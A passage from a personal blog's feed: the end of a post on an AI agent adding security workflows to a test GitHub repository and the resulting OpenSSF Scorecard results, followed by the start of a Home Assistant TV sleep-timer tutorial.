&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Added &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;security audit scripts&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm run security:audit`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm run security:audit:fix`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Added &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fuzzing scripts&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm run fuzz:test`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm run fuzz:install`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Created &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;package-lock.json&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dependency integrity&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- Ran &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm audit&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - no vulnerabilities found&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As I also requested it to report on the changes it made to the repository and other actions it took, it also provided a summary of those:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;### Pull Requests Created&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### 🔗 **Main Security Improvements PR**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: https://github.com/lirantal/hello-world-js/pull/1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Title&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;security: implement OpenSSF Scorecard security improvements&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Includes&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: CodeQL, Semgrep, Dependabot, Security Policy, Package Security&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### 🔗 **Fuzzing Implementation PR**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: https://github.com/lirantal/hello-world-js/pull/2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Title&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;security: add comprehensive fuzzing implementation&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Includes&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: Fuzzing workflow, comprehensive &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; suite, documentation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;### Files Created/Modified&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### New Security Files:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`.github/workflows/codeql.yml`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - CodeQL SAST scanning&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`.github/workflows/dependency-review.yml`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Dependency security checks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`.github/workflows/semgrep.yml`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Semgrep SAST scanning&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`.github/workflows/fuzzing.yml`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Comprehensive fuzzing tests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`.github/dependabot.yml`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Automated dependency updates&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`SECURITY.md`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Security policy and vulnerability reporting&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`fuzz/hello-world-fuzz.js`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Comprehensive fuzzing &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; implementation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`fuzz/README.md`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Fuzzing documentation and usage guide&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`package-lock.json`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Dependency integrity&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#### Modified Files:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`package.json`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; - Added security and fuzzing scripts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;### Security Best Practices Implemented&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1. &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Pinned Dependencies&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: All GitHub Actions pinned to commit hashes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;2. &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Explicit Permissions&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: Minimal permissions &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; all workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;3. &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Automated Security&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: Continuous security scanning and dependency updates&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;4. &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Comprehensive Testing&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: Multiple SAST tools and fuzzing coverage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5. &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Documentation&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: Clear security policies and procedures&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;6. &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Branch Protection&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: Enforced code review and protection rules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Splendid agent work!&lt;/p&gt;
&lt;p&gt;Now, I did have to disable branch protection rules entirely to allow myself to merge the pull request that the agent created and the dependabot PRs so that they would take effect but this was a test repository that started from scratch with just a sample Express JavaScript application to show the difference between going from bare-bones default repository setup to a fully security-hardened repository with DevSecOps pipelines in place.&lt;/p&gt;
&lt;p&gt;Let’s now run the OpenSSF Scorecard again after merging the pull requests from the agent and see how well it did:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$ scorecard --repo=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://github.com/lirantal/hello-world-js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; --show-details&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [License]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Security-Policy]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Binary-Artifacts]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Maintained]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Code-Review]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Dependency-Update-Tool]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Fuzzing]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [SAST]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Packaging]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Contributors]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Branch-Protection]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Token-Permissions]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Pinned-Dependencies]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [CII-Best-Practices]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [CI-Tests]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Dangerous-Workflow]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Vulnerabilities]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Starting [Signed-Releases]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [CI-Tests]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Dangerous-Workflow]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Vulnerabilities]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Signed-Releases]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [License]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Security-Policy]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Binary-Artifacts]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Maintained]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Code-Review]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Dependency-Update-Tool]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Fuzzing]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [SAST]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Packaging]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Contributors]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Branch-Protection]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Token-Permissions]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [Pinned-Dependencies]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Finished [CII-Best-Practices]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;RESULTS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;-------&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Aggregate score: 7.4 / 10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hah! we scored 7.4 out of 10 with zero effort!&lt;/p&gt;
&lt;p&gt;Even the criteria missed here that answers the 2.6 points gap isn’t a big deal. Here’s why and where the points are missing:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;| 8 / 10  | Branch-Protection      | branch protection is not       | Warn: codeowners review is not required. Warn: required approving review count is 1 on &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Well I’m just one maintainer on this new repo so approval count of 1 is it. I indeed have no &lt;code&gt;CODEOWNERS&lt;/code&gt; file, perhaps that is something that OpenSSF Scorecard should consider as a recommendation before it judges on it (it doesn’t).&lt;/p&gt;
&lt;p&gt;Also these points we didn’t earn:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;| 0 / 10  | CII-Best-Practices     | no effort to earn an OpenSSF best practices badge detected | https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Well you have to sign-up manually for that, so understandable.&lt;/p&gt;
&lt;p&gt;Next:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;| 0 / 10  | Code-Review            | Found 0/3 approved changesets&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Makes sense too, this is just a new repository with literally a handful of commits just so scaffold it and whatever the agent created as pull requests. All of these I had to skip approval for the sake of this demo and just merge them to show you the status. In reality, you’d be working with contributors or a team of developers and you’d be reviewing each other’s work.&lt;/p&gt;
&lt;p&gt;Fuzzing we skipped so 0 out of 10 points there too:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;| 0 / 10  | Fuzzing                | project is not fuzzed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is a new project so obviously we’re not going to score any “high maintenance” points for it either:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;| 0 / 10  | Maintained             | project was created within the last 90 days. Please review&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;All in all, the Qodo Command agentic workflow proved to be a splendid work of art to create real, tangible value of 10x productivity for developers and security teams, and even for solo maintainers themselves.&lt;/p&gt;
&lt;p&gt;It was able to run the OpenSSF Scorecard, analyze the issues, and then fix them automatically through an agentic workflow. By having access to the GitHub repository via tools and CLI that we made available to it, the agent was able to create pull requests with the fixes it found and implemented, and then also configure the repository with security hardening practices that are now in place and will continue to be enforced going forward.&lt;/p&gt;</content:encoded></item><item><title>How to setup TV Sleep Timer with Home Assistant Automation</title><link>https://lirantal.com/blog/how-to-setup-tv-sleep-timer-with-home-assistant-automation/</link><guid>https://lirantal.com/blog/how-to-setup-tv-sleep-timer-with-home-assistant-automation/</guid><description>Learn how to set up a TV sleep timer using Home Assistant automation, Helpers, and Automations to manage your TV&apos;s power state easily.</description><pubDate>Sat, 05 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TV sleep timers are useful but even with smart TVs they are not as easily managable as you’d expect them to be. So, I wanted to set up a TV sleep timer using Home Assistant automation to turn off the TV after a certain period of time. Using Helpers and Automations as building blocks, I was able to achieve this. Here’s how I did it.&lt;/p&gt;
&lt;p&gt;First off, what’s the problem with built-in TV sleep timers?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The UX is terrible: often it is just burried under sub menus of sub menus, and you have to navigate through the TV’s remote control to find it. Not all remote controls or streamers have a dedicated sleep timer button.&lt;/li&gt;
&lt;li&gt;You might want to set a TV sleep timer for a different room, for examples, the kid’s room or the living room TV, while you are actually sleeping in your own bedroom.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, here’s where Home Assistant comes in handy.&lt;/p&gt;
&lt;p&gt;Here is how the end results look like once you’ve set it up and added the cards to your Home Assistant dashboard:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/living-room-tv-sleep-timer.png&quot; alt=&quot;living room tv sleep timer in home assistant&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;step-1-create-a-number-helper-for-the-sleep-timer&quot;&gt;Step 1: Create a number helper for the sleep timer&lt;/h2&gt;
&lt;p&gt;In this first step, we create a &lt;code&gt;number&lt;/code&gt; Helper in Home Assistant that will allow us to set the sleep timer duration in minutes. This is done through the Home Assistant UI and the Helper configuration.&lt;/p&gt;
&lt;p&gt;Here is the full setup:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/home-assistant-number-helper.png&quot; alt=&quot;home assistant number helper&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;step-2-create-a-timer-helper-to-track-the-state-of-the-sleep-timer&quot;&gt;Step 2: Create a timer helper to track the state of the sleep timer&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;number&lt;/code&gt; helper from the previous step is simply for setting the duration of the sleep timer. It exposes a nice slider where we can choose the number of minutes we want the TV to stay on before it turns off. However, we need a way to actually track the state of the sleep timer, such as when it starts, stops, or finishes. For this purpose, we will create a &lt;code&gt;timer&lt;/code&gt; Helper in Home Assistant. In essence, the &lt;code&gt;timer&lt;/code&gt; helper is like a program’s counter variable that counts down from a specified duration to zero and the &lt;code&gt;number&lt;/code&gt; is the total celling time in minutes that we want to set for the sleep timer.&lt;/p&gt;
&lt;p&gt;Here is how you create the &lt;code&gt;timer&lt;/code&gt; Helper in Home Assistant:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Settings → Devices &amp;#x26; Services → Helpers&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;Create Helper → Timer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Name: Living Room TV Sleep Timer&lt;/li&gt;
&lt;li&gt;Entity ID: timer.living_room_tv_sleep_timer&lt;/li&gt;
&lt;li&gt;Duration: 01:00:00 (default, doesn’t matter as we’ll set it dynamically)&lt;/li&gt;
&lt;li&gt;Click Create&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once you set the &lt;code&gt;timer&lt;/code&gt; Helper, it looks like this in the Home Assistant UI:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/home-assistant-timer-helper.png&quot; alt=&quot;timer helper in home assistant&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;step-3-create-the-home-assistant-automation&quot;&gt;Step 3: Create the Home Assistant automation&lt;/h2&gt;
&lt;p&gt;Now, for the actual automation that will handle the sleep timer functionality. This automation will start the timer when it is enabled, update the timer when the number helper changes, and turn off the TV when the timer finishes.&lt;/p&gt;
